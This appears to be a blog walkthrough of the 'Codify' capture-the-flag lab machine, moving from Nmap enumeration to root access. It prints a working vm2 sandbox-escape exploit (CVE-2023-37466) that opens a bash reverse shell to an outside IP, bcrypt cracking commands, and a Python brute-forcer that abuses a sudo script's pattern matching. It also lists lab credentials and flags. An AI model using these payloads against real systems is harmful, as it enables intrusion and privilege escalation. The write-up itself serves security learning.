Command Palette

Search for a command to run...

Blog
Previous

Codify - Walkthrough

Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password, leading to privileged access to the machine.

Enumeration

We begin with an Nmap scan to identify open services:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping 10.10.11.239 -oG allPorts

The scan reveals:

PORTSTATESERVICE
22/tcpopenssh
80/tcpopenhttp

A targeted scan provides more details:

sudo nmap -p22,80 -sCV 10.10.11.239 -oN targeted
  • SSH → OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
  • HTTP → Apache httpd 2.4.52, redirecting to codify.htb

We add the hostname to /etc/hosts:

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

codify.htb

The site offers a Node.js code testing editor using the vm2 library.

Foothold

The vm2 library is vulnerable to CVE-2023-37466, allowing sandbox escape for RCE. We use the exploit:

err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  },
};
 
const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({ constructor: c }) {
  c.constructor("return process")()
    .mainModule.require("child_process")
    .execSync("bash -c 'bash -i >& /dev/tcp/10.10.14.70/5000 0>&1'");
}

RCE via editor

We obtain a shell as svc. Enumerating the system, we find a SQLite database at /var/www/contact/tickets.db:

strings tickets.db
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

We crack the bcrypt hash:

john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt hash.txt
UsernamePassword
joshuaspongebob1

We SSH as joshua and capture the user flag:

ssh [email protected]
cat user.txt

User flag: 1ba70b6408985757822776ff529e11f6

Privilege Escalation

We check sudo privileges:

sudo -l
User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

The script prompts for a password and compares it unsafely:

if [[ $DB_PASS == $USER_PASS ]]; then

This uses bash pattern matching, vulnerable to brute forcing. We create a script to extract the password character by character:

import string
import subprocess
 
def check_password(p):
    command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
    result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    return "Password confirmed!" in result.stdout
 
charset = string.ascii_letters + string.digits
password = ""
is_password_found = False
 
while not is_password_found:
    for char in charset:
        if check_password(password + char):
            password += char
            break
    else:
        is_password_found = True
 
print(password)

The script reveals the root password: kljh12k3jhaskjh12kjh3

We switch to root:

su root
cat /root/root.txt

Root flag: bfb5c86d8eedc66d25b28fdaa74b793e